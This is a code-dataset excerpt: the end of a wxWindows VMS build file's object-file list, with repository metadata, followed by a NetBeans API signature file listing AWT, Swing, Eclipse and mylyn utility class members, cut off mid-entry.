tokenzr.cpp toplvcmn.obj : toplvcmn.cpp treebase.obj : treebase.cpp txtstrm.obj : txtstrm.cpp unzip.obj : unzip.c url.obj : url.cpp utilscmn.obj : utilscmn.cpp valgen.obj : valgen.cpp validate.obj : validate.cpp valtext.obj : valtext.cpp variant.obj : variant.cpp wfstream.obj : wfstream.cpp wincmn.obj : wincmn.cpp wxchar.obj : wxchar.cpp wxexpr.obj : wxexpr.cpp xpmdecod.obj : xpmdecod.cpp zipstrm.obj : zipstrm.cpp zstream.obj : zstream.cpp
Module Management System
3
addstone/unrealengine3
Development/External/wxWindows_2.4.0/src/common/descrip.mms
[ "FSFAP" ]
#Signature file v4.1 #Version 1.50 CLSS public abstract java.awt.Component cons protected init() fld protected javax.accessibility.AccessibleContext accessibleContext fld public final static float BOTTOM_ALIGNMENT = 1.0 fld public final static float CENTER_ALIGNMENT = 0.5 fld public final static float LEFT_ALIGNMENT = 0.0 fld public final static float RIGHT_ALIGNMENT = 1.0 fld public final static float TOP_ALIGNMENT = 0.0 innr protected BltBufferStrategy innr protected FlipBufferStrategy innr protected abstract AccessibleAWTComponent innr public final static !enum BaselineResizeBehavior intf java.awt.MenuContainer intf java.awt.image.ImageObserver intf java.io.Serializable meth protected boolean requestFocus(boolean) meth protected boolean requestFocusInWindow(boolean) meth protected final void disableEvents(long) meth protected final void enableEvents(long) meth protected java.awt.AWTEvent coalesceEvents(java.awt.AWTEvent,java.awt.AWTEvent) meth protected java.lang.String paramString() meth protected void firePropertyChange(java.lang.String,boolean,boolean) meth protected void firePropertyChange(java.lang.String,int,int) meth protected void firePropertyChange(java.lang.String,java.lang.Object,java.lang.Object) meth protected void processComponentEvent(java.awt.event.ComponentEvent) meth protected void processEvent(java.awt.AWTEvent) meth protected void processFocusEvent(java.awt.event.FocusEvent) meth protected void processHierarchyBoundsEvent(java.awt.event.HierarchyEvent) meth protected void processHierarchyEvent(java.awt.event.HierarchyEvent) meth protected void processInputMethodEvent(java.awt.event.InputMethodEvent) meth protected void processKeyEvent(java.awt.event.KeyEvent) meth protected void processMouseEvent(java.awt.event.MouseEvent) meth protected void processMouseMotionEvent(java.awt.event.MouseEvent) meth protected void processMouseWheelEvent(java.awt.event.MouseWheelEvent) meth public <%0 extends java.util.EventListener> {%%0}[] getListeners(java.lang.Class<{%%0}>) meth public boolean action(java.awt.Event,java.lang.Object) anno 0 java.lang.Deprecated() meth public boolean areFocusTraversalKeysSet(int) meth public boolean contains(int,int) meth public boolean contains(java.awt.Point) meth public boolean getFocusTraversalKeysEnabled() meth public boolean getIgnoreRepaint() meth public boolean gotFocus(java.awt.Event,java.lang.Object) anno 0 java.lang.Deprecated() meth public boolean handleEvent(java.awt.Event) anno 0 java.lang.Deprecated() meth public boolean hasFocus() meth public boolean imageUpdate(java.awt.Image,int,int,int,int,int) meth public boolean inside(int,int) anno 0 java.lang.Deprecated() meth public boolean isBackgroundSet() meth public boolean isCursorSet() meth public boolean isDisplayable() meth public boolean isDoubleBuffered() meth public boolean isEnabled() meth public boolean isFocusCycleRoot(java.awt.Container) meth public boolean isFocusOwner() meth public boolean isFocusTraversable() anno 0 java.lang.Deprecated() meth public boolean isFocusable() meth public boolean isFontSet() meth public boolean isForegroundSet() meth public boolean isLightweight() meth public boolean isMaximumSizeSet() meth public boolean isMinimumSizeSet() meth public boolean isOpaque() meth public boolean isPreferredSizeSet() meth public boolean isShowing() meth public boolean isValid() meth public boolean isVisible() meth public boolean keyDown(java.awt.Event,int) anno 0 java.lang.Deprecated() meth public boolean keyUp(java.awt.Event,int) anno 0 java.lang.Deprecated() meth public boolean lostFocus(java.awt.Event,java.lang.Object) anno 0 java.lang.Deprecated() meth public boolean mouseDown(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean mouseDrag(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean mouseEnter(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean mouseExit(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean mouseMove(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean mouseUp(java.awt.Event,int,int) anno 0 java.lang.Deprecated() meth public boolean postEvent(java.awt.Event) anno 0 java.lang.Deprecated() meth public boolean prepareImage(java.awt.Image,int,int,java.awt.image.ImageObserver) meth public boolean prepareImage(java.awt.Image,java.awt.image.ImageObserver) meth public boolean requestFocusInWindow() meth public final java.lang.Object getTreeLock() meth public final void dispatchEvent(java.awt.AWTEvent) meth public float getAlignmentX() meth public float getAlignmentY() meth public int checkImage(java.awt.Image,int,int,java.awt.image.ImageObserver) meth public int checkImage(java.awt.Image,java.awt.image.ImageObserver) meth public int getBaseline(int,int) meth public int getHeight() meth public int getWidth() meth public int getX() meth public int getY() meth public java.awt.Color getBackground() meth public java.awt.Color getForeground() meth public java.awt.Component getComponentAt(int,int) meth public java.awt.Component getComponentAt(java.awt.Point) meth public java.awt.Component locate(int,int) anno 0 java.lang.Deprecated() meth public java.awt.Component$BaselineResizeBehavior getBaselineResizeBehavior() meth public java.awt.ComponentOrientation getComponentOrientation() meth public java.awt.Container getFocusCycleRootAncestor() meth public java.awt.Container getParent() meth public java.awt.Cursor getCursor() meth public java.awt.Dimension getMaximumSize() meth public java.awt.Dimension getMinimumSize() meth public java.awt.Dimension getPreferredSize() meth public java.awt.Dimension getSize() meth public java.awt.Dimension getSize(java.awt.Dimension) meth public java.awt.Dimension minimumSize() anno 0 java.lang.Deprecated() meth public java.awt.Dimension preferredSize() anno 0 java.lang.Deprecated() meth public java.awt.Dimension size() anno 0 java.lang.Deprecated() meth public java.awt.Font getFont() meth public java.awt.FontMetrics getFontMetrics(java.awt.Font) meth public java.awt.Graphics getGraphics() meth public java.awt.GraphicsConfiguration getGraphicsConfiguration() meth public java.awt.Image createImage(int,int) meth public java.awt.Image createImage(java.awt.image.ImageProducer) meth public java.awt.Point getLocation() meth public java.awt.Point getLocation(java.awt.Point) meth public java.awt.Point getLocationOnScreen() meth public java.awt.Point getMousePosition() meth public java.awt.Point location() anno 0 java.lang.Deprecated() meth public java.awt.Rectangle bounds() anno 0 java.lang.Deprecated() meth public java.awt.Rectangle getBounds() meth public java.awt.Rectangle getBounds(java.awt.Rectangle) meth public java.awt.Toolkit getToolkit() meth public java.awt.dnd.DropTarget getDropTarget() meth public java.awt.event.ComponentListener[] getComponentListeners() meth public java.awt.event.FocusListener[] getFocusListeners() meth public java.awt.event.HierarchyBoundsListener[] getHierarchyBoundsListeners() meth public java.awt.event.HierarchyListener[] getHierarchyListeners() meth public java.awt.event.InputMethodListener[] getInputMethodListeners() meth public java.awt.event.KeyListener[] getKeyListeners() meth public java.awt.event.MouseListener[] getMouseListeners() meth public java.awt.event.MouseMotionListener[] getMouseMotionListeners() meth public java.awt.event.MouseWheelListener[] getMouseWheelListeners() meth public java.awt.im.InputContext getInputContext() meth public java.awt.im.InputMethodRequests getInputMethodRequests() meth public java.awt.image.ColorModel getColorModel() meth public java.awt.image.VolatileImage createVolatileImage(int,int) meth public java.awt.image.VolatileImage createVolatileImage(int,int,java.awt.ImageCapabilities) throws java.awt.AWTException meth public java.beans.PropertyChangeListener[] getPropertyChangeListeners() meth public java.beans.PropertyChangeListener[] getPropertyChangeListeners(java.lang.String) meth public java.lang.String getName() meth public java.lang.String toString() meth public java.util.Locale getLocale() meth public java.util.Set<java.awt.AWTKeyStroke> getFocusTraversalKeys(int) meth public javax.accessibility.AccessibleContext getAccessibleContext() meth public void add(java.awt.PopupMenu) meth public void addComponentListener(java.awt.event.ComponentListener) meth public void addFocusListener(java.awt.event.FocusListener) meth public void addHierarchyBoundsListener(java.awt.event.HierarchyBoundsListener) meth public void addHierarchyListener(java.awt.event.HierarchyListener) meth public void addInputMethodListener(java.awt.event.InputMethodListener) meth public void addKeyListener(java.awt.event.KeyListener) meth public void addMouseListener(java.awt.event.MouseListener) meth public void addMouseMotionListener(java.awt.event.MouseMotionListener) meth public void addMouseWheelListener(java.awt.event.MouseWheelListener) meth public void addNotify() meth public void addPropertyChangeListener(java.beans.PropertyChangeListener) meth public void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) meth public void applyComponentOrientation(java.awt.ComponentOrientation) meth public void deliverEvent(java.awt.Event) anno 0 java.lang.Deprecated() meth public void disable() anno 0 java.lang.Deprecated() meth public void doLayout() meth public void enable() anno 0 java.lang.Deprecated() meth public void enable(boolean) anno 0 java.lang.Deprecated() meth public void enableInputMethods(boolean) meth public void firePropertyChange(java.lang.String,byte,byte) meth public void firePropertyChange(java.lang.String,char,char) meth public void firePropertyChange(java.lang.String,double,double) meth public void firePropertyChange(java.lang.String,float,float) meth public void firePropertyChange(java.lang.String,long,long) meth public void firePropertyChange(java.lang.String,short,short) meth public void hide() anno 0 java.lang.Deprecated() meth public void invalidate() meth public void layout() anno 0 java.lang.Deprecated() meth public void list() meth public void list(java.io.PrintStream) meth public void list(java.io.PrintStream,int) meth public void list(java.io.PrintWriter) meth public void list(java.io.PrintWriter,int) meth public void move(int,int) anno 0 java.lang.Deprecated() meth public void nextFocus() anno 0 java.lang.Deprecated() meth public void paint(java.awt.Graphics) meth public void paintAll(java.awt.Graphics) meth public void print(java.awt.Graphics) meth public void printAll(java.awt.Graphics) meth public void remove(java.awt.MenuComponent) meth public void removeComponentListener(java.awt.event.ComponentListener) meth public void removeFocusListener(java.awt.event.FocusListener) meth public void removeHierarchyBoundsListener(java.awt.event.HierarchyBoundsListener) meth public void removeHierarchyListener(java.awt.event.HierarchyListener) meth public void removeInputMethodListener(java.awt.event.InputMethodListener) meth public void removeKeyListener(java.awt.event.KeyListener) meth public void removeMouseListener(java.awt.event.MouseListener) meth public void removeMouseMotionListener(java.awt.event.MouseMotionListener) meth public void removeMouseWheelListener(java.awt.event.MouseWheelListener) meth public void removeNotify() meth public void removePropertyChangeListener(java.beans.PropertyChangeListener) meth public void removePropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) meth public void repaint() meth public void repaint(int,int,int,int) meth public void repaint(long) meth public void repaint(long,int,int,int,int) meth public void requestFocus() meth public void reshape(int,int,int,int) anno 0 java.lang.Deprecated() meth public void resize(int,int) anno 0 java.lang.Deprecated() meth public void resize(java.awt.Dimension) anno 0 java.lang.Deprecated() meth public void revalidate() meth public void setBackground(java.awt.Color) meth public void setBounds(int,int,int,int) meth public void setBounds(java.awt.Rectangle) meth public void setComponentOrientation(java.awt.ComponentOrientation) meth public void setCursor(java.awt.Cursor) meth public void setDropTarget(java.awt.dnd.DropTarget) meth public void setEnabled(boolean) meth public void setFocusTraversalKeys(int,java.util.Set<? extends java.awt.AWTKeyStroke>) meth public void setFocusTraversalKeysEnabled(boolean) meth public void setFocusable(boolean) meth public void setFont(java.awt.Font) meth public void setForeground(java.awt.Color) meth public void setIgnoreRepaint(boolean) meth public void setLocale(java.util.Locale) meth public void setLocation(int,int) meth public void setLocation(java.awt.Point) meth public void setMaximumSize(java.awt.Dimension) meth public void setMinimumSize(java.awt.Dimension) meth public void setName(java.lang.String) meth public void setPreferredSize(java.awt.Dimension) meth public void setSize(int,int) meth public void setSize(java.awt.Dimension) meth public void setVisible(boolean) meth public void show() anno 0 java.lang.Deprecated() meth public void show(boolean) anno 0 java.lang.Deprecated() meth public void transferFocus() meth public void transferFocusBackward() meth public void transferFocusUpCycle() meth public void update(java.awt.Graphics) meth public void validate() supr java.lang.Object CLSS public java.awt.Container cons public init() innr protected AccessibleAWTContainer meth protected java.lang.String paramString() meth protected void addImpl(java.awt.Component,java.lang.Object,int) meth protected void processContainerEvent(java.awt.event.ContainerEvent) meth protected void processEvent(java.awt.AWTEvent) meth protected void validateTree() meth public <%0 extends java.util.EventListener> {%%0}[] getListeners(java.lang.Class<{%%0}>) meth public boolean areFocusTraversalKeysSet(int) meth public boolean isAncestorOf(java.awt.Component) meth public boolean isFocusCycleRoot() meth public boolean isFocusCycleRoot(java.awt.Container) meth public boolean isFocusTraversalPolicySet() meth public boolean isValidateRoot() meth public final boolean isFocusTraversalPolicyProvider() meth public final void setFocusTraversalPolicyProvider(boolean) meth public float getAlignmentX() meth public float getAlignmentY() meth public int countComponents() anno 0 java.lang.Deprecated() meth public int getComponentCount() meth public int getComponentZOrder(java.awt.Component) meth public java.awt.Component add(java.awt.Component) meth public java.awt.Component add(java.awt.Component,int) meth public java.awt.Component add(java.lang.String,java.awt.Component) meth public java.awt.Component findComponentAt(int,int) meth public java.awt.Component findComponentAt(java.awt.Point) meth public java.awt.Component getComponent(int) meth public java.awt.Component getComponentAt(int,int) meth public java.awt.Component getComponentAt(java.awt.Point) meth public java.awt.Component locate(int,int) anno 0 java.lang.Deprecated() meth public java.awt.Component[] getComponents() meth public java.awt.Dimension getMaximumSize() meth public java.awt.Dimension getMinimumSize() meth public java.awt.Dimension getPreferredSize() meth public java.awt.Dimension minimumSize() anno 0 java.lang.Deprecated() meth public java.awt.Dimension preferredSize() anno 0 java.lang.Deprecated() meth public java.awt.FocusTraversalPolicy getFocusTraversalPolicy() meth public java.awt.Insets getInsets() meth public java.awt.Insets insets() anno 0 java.lang.Deprecated() meth public java.awt.LayoutManager getLayout() meth public java.awt.Point getMousePosition(boolean) meth public java.awt.event.ContainerListener[] getContainerListeners() meth public java.util.Set<java.awt.AWTKeyStroke> getFocusTraversalKeys(int) meth public void add(java.awt.Component,java.lang.Object) meth public void add(java.awt.Component,java.lang.Object,int) meth public void addContainerListener(java.awt.event.ContainerListener) meth public void addNotify() meth public void addPropertyChangeListener(java.beans.PropertyChangeListener) meth public void addPropertyChangeListener(java.lang.String,java.beans.PropertyChangeListener) meth public void applyComponentOrientation(java.awt.ComponentOrientation) meth public void deliverEvent(java.awt.Event) anno 0 java.lang.Deprecated() meth public void doLayout() meth public void invalidate() meth public void layout() anno 0 java.lang.Deprecated() meth public void list(java.io.PrintStream,int) meth public void list(java.io.PrintWriter,int) meth public void paint(java.awt.Graphics) meth public void paintComponents(java.awt.Graphics) meth public void print(java.awt.Graphics) meth public void printComponents(java.awt.Graphics) meth public void remove(int) meth public void remove(java.awt.Component) meth public void removeAll() meth public void removeContainerListener(java.awt.event.ContainerListener) meth public void removeNotify() meth public void setComponentZOrder(java.awt.Component,int) meth public void setFocusCycleRoot(boolean) meth public void setFocusTraversalKeys(int,java.util.Set<? extends java.awt.AWTKeyStroke>) meth public void setFocusTraversalPolicy(java.awt.FocusTraversalPolicy) meth public void setFont(java.awt.Font) meth public void setLayout(java.awt.LayoutManager) meth public void transferFocusDownCycle() meth public void update(java.awt.Graphics) meth public void validate() supr java.awt.Component CLSS public abstract interface java.awt.MenuContainer meth public abstract boolean postEvent(java.awt.Event) anno 0 java.lang.Deprecated() meth public abstract java.awt.Font getFont() meth public abstract void remove(java.awt.MenuComponent) CLSS public abstract interface java.awt.image.ImageObserver fld public final static int ABORT = 128 fld public final static int ALLBITS = 32 fld public final static int ERROR = 64 fld public final static int FRAMEBITS = 16 fld public final static int HEIGHT = 2 fld public final static int PROPERTIES = 4 fld public final static int SOMEBITS = 8 fld public final static int WIDTH = 1 meth public abstract boolean imageUpdate(java.awt.Image,int,int,int,int,int) CLSS public abstract interface java.io.Serializable CLSS public abstract interface java.lang.Comparable<%0 extends java.lang.Object> meth public abstract int compareTo({java.lang.Comparable%0}) CLSS public abstract java.lang.Enum<%0 extends java.lang.Enum<{java.lang.Enum%0}>> cons protected init(java.lang.String,int) intf java.io.Serializable intf java.lang.Comparable<{java.lang.Enum%0}> meth protected final java.lang.Object clone() throws java.lang.CloneNotSupportedException meth protected final void finalize() meth public final boolean equals(java.lang.Object) meth public final int compareTo({java.lang.Enum%0}) meth public final int hashCode() meth public final int ordinal() meth public final java.lang.Class<{java.lang.Enum%0}> getDeclaringClass() meth public final java.lang.String name() meth public java.lang.String toString() meth public static <%0 extends java.lang.Enum<{%%0}>> {%%0} valueOf(java.lang.Class<{%%0}>,java.lang.String) supr java.lang.Object CLSS public java.lang.Object cons public init() meth protected java.lang.Object clone() throws java.lang.CloneNotSupportedException meth protected void finalize() throws java.lang.Throwable meth public boolean equals(java.lang.Object) meth public final java.lang.Class<?> getClass() meth public final void notify() meth public final void notifyAll() meth public final void wait() throws java.lang.InterruptedException meth public final void wait(long) throws java.lang.InterruptedException meth public final void wait(long,int) throws java.lang.InterruptedException meth public int hashCode() meth public java.lang.String toString() CLSS public abstract interface java.util.EventListener CLSS public java.util.EventObject cons public init(java.lang.Object) fld protected java.lang.Object source intf java.io.Serializable meth public java.lang.Object getSource() meth public java.lang.String toString() supr java.lang.Object CLSS public abstract interface javax.accessibility.Accessible meth public abstract javax.accessibility.AccessibleContext getAccessibleContext() CLSS public abstract javax.swing.JComponent cons public init() fld protected javax.swing.event.EventListenerList listenerList fld protected javax.swing.plaf.ComponentUI ui fld public final static int UNDEFINED_CONDITION = -1 fld public final static int WHEN_ANCESTOR_OF_FOCUSED_COMPONENT = 1 fld public final static int WHEN_FOCUSED = 0 fld public final static int WHEN_IN_FOCUSED_WINDOW = 2 fld public final static java.lang.String TOOL_TIP_TEXT_KEY = "ToolTipText" innr public abstract AccessibleJComponent intf java.io.Serializable meth protected boolean isPaintingOrigin() meth protected boolean processKeyBinding(javax.swing.KeyStroke,java.awt.event.KeyEvent,int,boolean) meth protected boolean requestFocusInWindow(boolean) meth protected java.awt.Graphics getComponentGraphics(java.awt.Graphics) meth protected java.lang.String paramString() meth protected void fireVetoableChange(java.lang.String,java.lang.Object,java.lang.Object) throws java.beans.PropertyVetoException meth protected void paintBorder(java.awt.Graphics) meth protected void paintChildren(java.awt.Graphics) meth protected void paintComponent(java.awt.Graphics) meth protected void printBorder(java.awt.Graphics) meth protected void printChildren(java.awt.Graphics) meth protected void printComponent(java.awt.Graphics) meth protected void processComponentKeyEvent(java.awt.event.KeyEvent) meth protected void processKeyEvent(java.awt.event.KeyEvent) meth protected void processMouseEvent(java.awt.event.MouseEvent) meth protected void processMouseMotionEvent(java.awt.event.MouseEvent) meth protected void setUI(javax.swing.plaf.ComponentUI) meth public <%0 extends java.util.EventListener> {%%0}[] getListeners(java.lang.Class<{%%0}>) meth public boolean contains(int,int) meth public boolean getAutoscrolls() meth public boolean getInheritsPopupMenu() meth public boolean getVerifyInputWhenFocusTarget() meth public boolean isDoubleBuffered() meth public boolean isManagingFocus() anno 0 java.lang.Deprecated() meth public boolean isOpaque() meth public boolean isOptimizedDrawingEnabled() meth public boolean isPaintingTile() meth public boolean isRequestFocusEnabled() meth public boolean isValidateRoot() meth public boolean requestDefaultFocus() anno 0 java.lang.Deprecated() meth public boolean requestFocus(boolean) meth public boolean requestFocusInWindow() meth public final boolean isPaintingForPrint() meth public final java.lang.Object getClientProperty(java.lang.Object) meth public final javax.swing.ActionMap getActionMap() meth public final javax.swing.InputMap getInputMap() meth public final javax.swing.InputMap getInputMap(int) meth public final void putClientProperty(java.lang.Object,java.lang.Object) meth public final void setActionMap(javax.swing.ActionMap) meth public final void setInputMap(int,javax.swing.InputMap) meth public float getAlignmentX() meth public float getAlignmentY() meth public int getBaseline(int,int) meth public int getConditionForKeyStroke(javax.swing.KeyStroke) meth public int getDebugGraphicsOptions() meth public int getHeight() meth public int getWidth() meth public int getX() meth public int getY() meth public java.awt.Component getNextFocusableComponent() anno 0 java.lang.Deprecated() meth public java.awt.Component$BaselineResizeBehavior getBaselineResizeBehavior() meth public java.awt.Container getTopLevelAncestor() meth public java.awt.Dimension getMaximumSize() meth public java.awt.Dimension getMinimumSize() meth public java.awt.Dimension getPreferredSize() meth public java.awt.Dimension getSize(java.awt.Dimension) meth public java.awt.FontMetrics getFontMetrics(java.awt.Font) meth public java.awt.Graphics getGraphics() meth public java.awt.Insets getInsets() meth public java.awt.Insets getInsets(java.awt.Insets) meth public java.awt.Point getLocation(java.awt.Point) meth public java.awt.Point getPopupLocation(java.awt.event.MouseEvent) meth public java.awt.Point getToolTipLocation(java.awt.event.MouseEvent) meth public java.awt.Rectangle getBounds(java.awt.Rectangle) meth public java.awt.Rectangle getVisibleRect() meth public java.awt.event.ActionListener getActionForKeyStroke(javax.swing.KeyStroke) meth public java.beans.VetoableChangeListener[] getVetoableChangeListeners() meth public java.lang.String getToolTipText() meth public java.lang.String getToolTipText(java.awt.event.MouseEvent) meth public java.lang.String getUIClassID() meth public javax.swing.InputVerifier getInputVerifier() meth public javax.swing.JPopupMenu getComponentPopupMenu() meth public javax.swing.JRootPane getRootPane() meth public javax.swing.JToolTip createToolTip() meth public javax.swing.KeyStroke[] getRegisteredKeyStrokes() meth public javax.swing.TransferHandler getTransferHandler() meth public javax.swing.border.Border getBorder() meth public javax.swing.event.AncestorListener[] getAncestorListeners() meth public static boolean isLightweightComponent(java.awt.Component) meth public static java.util.Locale getDefaultLocale() meth public static void setDefaultLocale(java.util.Locale) meth public void addAncestorListener(javax.swing.event.AncestorListener) meth public void addNotify() meth public void addVetoableChangeListener(java.beans.VetoableChangeListener) meth public void computeVisibleRect(java.awt.Rectangle) meth public void disable() anno 0 java.lang.Deprecated() meth public void enable() anno 0 java.lang.Deprecated() meth public void firePropertyChange(java.lang.String,boolean,boolean) meth public void firePropertyChange(java.lang.String,char,char) meth public void firePropertyChange(java.lang.String,int,int) meth public void grabFocus() meth public void hide() anno 0 java.lang.Deprecated() meth public void paint(java.awt.Graphics) meth public void paintImmediately(int,int,int,int) meth public void paintImmediately(java.awt.Rectangle) meth public void print(java.awt.Graphics) meth public void printAll(java.awt.Graphics) meth public void registerKeyboardAction(java.awt.event.ActionListener,java.lang.String,javax.swing.KeyStroke,int) meth public void registerKeyboardAction(java.awt.event.ActionListener,javax.swing.KeyStroke,int) meth public void removeAncestorListener(javax.swing.event.AncestorListener) meth public void removeNotify() meth public void removeVetoableChangeListener(java.beans.VetoableChangeListener) meth public void repaint(java.awt.Rectangle) meth public void repaint(long,int,int,int,int) meth public void requestFocus() meth public void resetKeyboardActions() meth public void reshape(int,int,int,int) anno 0 java.lang.Deprecated() meth public void revalidate() meth public void scrollRectToVisible(java.awt.Rectangle) meth public void setAlignmentX(float) meth public void setAlignmentY(float) meth public void setAutoscrolls(boolean) meth public void setBackground(java.awt.Color) meth public void setBorder(javax.swing.border.Border) meth public void setComponentPopupMenu(javax.swing.JPopupMenu) meth public void setDebugGraphicsOptions(int) meth public void setDoubleBuffered(boolean) meth public void setEnabled(boolean) meth public void setFocusTraversalKeys(int,java.util.Set<? extends java.awt.AWTKeyStroke>) meth public void setFont(java.awt.Font) meth public void setForeground(java.awt.Color) meth public void setInheritsPopupMenu(boolean) meth public void setInputVerifier(javax.swing.InputVerifier) meth public void setMaximumSize(java.awt.Dimension) meth public void setMinimumSize(java.awt.Dimension) meth public void setNextFocusableComponent(java.awt.Component) anno 0 java.lang.Deprecated() meth public void setOpaque(boolean) meth public void setPreferredSize(java.awt.Dimension) meth public void setRequestFocusEnabled(boolean) meth public void setToolTipText(java.lang.String) meth public void setTransferHandler(javax.swing.TransferHandler) meth public void setVerifyInputWhenFocusTarget(boolean) meth public void setVisible(boolean) meth public void unregisterKeyboardAction(javax.swing.KeyStroke) meth public void update(java.awt.Graphics) meth public void updateUI() supr java.awt.Container CLSS public javax.swing.JPanel cons public init() cons public init(boolean) cons public init(java.awt.LayoutManager) cons public init(java.awt.LayoutManager,boolean) innr protected AccessibleJPanel intf javax.accessibility.Accessible meth protected java.lang.String paramString() meth public java.lang.String getUIClassID() meth public javax.accessibility.AccessibleContext getAccessibleContext() meth public javax.swing.plaf.PanelUI getUI() meth public void setUI(javax.swing.plaf.PanelUI) meth public void updateUI() supr javax.swing.JComponent CLSS public abstract interface org.eclipse.core.runtime.IProgressMonitor fld public final static int UNKNOWN = -1 meth public abstract boolean isCanceled() meth public abstract void beginTask(java.lang.String,int) meth public abstract void done() meth public abstract void internalWorked(double) meth public abstract void setCanceled(boolean) meth public abstract void setTaskName(java.lang.String) meth public abstract void subTask(java.lang.String) meth public abstract void worked(int) CLSS public abstract org.netbeans.modules.mylyn.util.AbstractNbTaskWrapper cons public init(org.netbeans.modules.mylyn.util.NbTask) fld public final static java.lang.String NEW_ATTACHMENT_ATTRIBUTE_ID = "nb.attachments.new" meth protected abstract boolean synchronizeTask() meth protected abstract java.lang.String getSummary(org.eclipse.mylyn.tasks.core.data.TaskData) meth protected abstract void attributeChanged(org.netbeans.modules.mylyn.util.NbTaskDataModel$NbTaskDataModelEvent,org.netbeans.modules.mylyn.util.NbTaskDataModel) meth protected abstract void modelSaved(org.netbeans.modules.mylyn.util.NbTaskDataModel) meth protected abstract void repositoryTaskDataLoaded(org.eclipse.mylyn.tasks.core.data.TaskData) meth protected abstract void taskDataUpdated() meth protected abstract void taskDeleted(org.netbeans.modules.mylyn.util.NbTask) meth protected abstract void taskModified(boolean) meth protected final boolean editorOpened() meth protected final boolean hasUnsavedPrivateTaskAttributes() meth protected final boolean isSeen() meth protected final boolean saveChanges() meth protected final boolean setNewAttachments(java.util.List<org.netbeans.modules.bugtracking.commons.AttachmentsPanel$AttachmentInfo>) meth protected final boolean updateModel() meth protected final java.lang.String getDueDisplayString() meth protected final java.lang.String getEstimateDisplayString() meth protected final java.lang.String getScheduleDisplayString() meth protected final java.util.List<org.netbeans.modules.bugtracking.commons.AttachmentsPanel$AttachmentInfo> getNewAttachments() meth protected final org.eclipse.mylyn.tasks.core.data.TaskData getRepositoryTaskData() meth protected final org.netbeans.modules.mylyn.util.NbTask getNbTask() meth protected final org.netbeans.modules.mylyn.util.NbTask$SynchronizationState getSynchronizationState() meth protected final org.netbeans.modules.mylyn.util.NbTaskDataModel getModel() meth protected final void deleteTask() meth protected final void editorClosed() meth protected final void fireChanged() meth protected final void fireDataChanged() meth protected final void fireScheduleChanged() meth protected final void fireStatusChanged() meth protected final void markNewRead() meth protected final void runWithModelLoaded(java.lang.Runnable) meth protected final void setDueDate(java.util.Date,boolean) meth protected final void setEstimate(int,boolean) meth protected final void setPrivateNotes(java.lang.String) meth protected final void setScheduleDate(org.netbeans.modules.bugtracking.spi.IssueScheduleInfo,boolean) meth protected final void taskSubmitted(org.netbeans.modules.mylyn.util.NbTask) meth protected static boolean attachmentAttributesDiffer(org.eclipse.mylyn.tasks.core.data.TaskAttribute,org.eclipse.mylyn.tasks.core.data.TaskAttribute) meth public final boolean cancelChanges() meth public final boolean hasLocalEdits() meth public final boolean hasUnsavedChanges() meth public final boolean isFinished() meth public final boolean isMarkedNewUnread() meth public final boolean isNew() meth public final int getEstimate() meth public final int getPersistentEstimate() meth public final java.lang.String getID() meth public final java.lang.String getPrivateNotes() meth public final java.lang.String getSummary() meth public final java.util.Date getCreatedDate() meth public final java.util.Date getDueDate() meth public final java.util.Date getLastModifyDate() meth public final java.util.Date getPersistentDueDate() meth public final long getCreated() meth public final long getLastModify() meth public final org.netbeans.modules.bugtracking.spi.IssueScheduleInfo getPersistentScheduleInfo() meth public final org.netbeans.modules.bugtracking.spi.IssueStatusProvider$Status getStatus() meth public final org.netbeans.modules.mylyn.util.NbDateRange getScheduleDate() meth public final void addPropertyChangeListener(java.beans.PropertyChangeListener) meth public final void clearUnsavedChanges() meth public final void removePropertyChangeListener(java.beans.PropertyChangeListener) meth public final void setUpToDate(boolean,boolean) meth public static java.lang.String getID(org.netbeans.modules.mylyn.util.NbTask) supr java.lang.Object hfds ATTR_NEW_UNREAD,LOG,MODEL_LOCK,NB_NEW_ATTACHMENT_ATTR_ID,NB_NEW_ATTACHMENT_CONTENT_TYPE_ATTR_ID,NB_NEW_ATTACHMENT_DESC_ATTR_ID,NB_NEW_ATTACHMENT_FILE_ATTR_ID,NB_NEW_ATTACHMENT_PATCH_ATTR_ID,RP,dueDate,dueDateModified,estimate,list,model,privateNotes,readPending,repositoryDataRef,repositoryTaskDataLoaderTask,scheduleDate,scheduleDateModified,support,task,taskDataListener,taskListener hcls TaskDataListenerImpl,TaskListenerImpl CLSS public abstract org.netbeans.modules.mylyn.util.BugtrackingCommand cons public init() meth public abstract void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException meth public boolean hasFailed() meth public java.lang.String getErrorMessage() meth public void cancel() meth public void setErrorMessage(java.lang.String) meth public void setFailed(boolean) supr java.lang.Object hfds errorMessage,failed CLSS public org.netbeans.modules.mylyn.util.CancelableProgressMonitor cons public init() intf org.eclipse.core.runtime.IProgressMonitor meth public boolean isCanceled() meth public void beginTask(java.lang.String,int) meth public void done() meth public void internalWorked(double) meth public void setCanceled(boolean) meth public void setTaskName(java.lang.String) meth public void subTask(java.lang.String) meth public void worked(int) supr java.lang.Object hfds canceled CLSS public org.netbeans.modules.mylyn.util.GetAttachmentCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.ITask,org.eclipse.mylyn.tasks.core.data.TaskAttribute,java.io.OutputStream) meth public java.lang.String toString() meth public void execute() throws java.io.IOException,org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds os,repositoryConnector,stringValue,ta,task,taskRepository CLSS public org.netbeans.modules.mylyn.util.GetMultiTaskDataCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,org.eclipse.mylyn.tasks.core.data.TaskDataCollector,java.util.Set<java.lang.String>) meth public java.lang.String toString() meth public void execute() throws org.eclipse.core.runtime.CoreException supr org.netbeans.modules.mylyn.util.BugtrackingCommand hfds collector,ids,repositoryConnector,taskRepository CLSS public org.netbeans.modules.mylyn.util.GetTaskDataCommand cons public init(org.eclipse.mylyn.tasks.core.AbstractRepositoryConnector,org.eclipse.mylyn.tasks.core.TaskRepository,java.lang.String) meth public java.lang.String toString() meth public 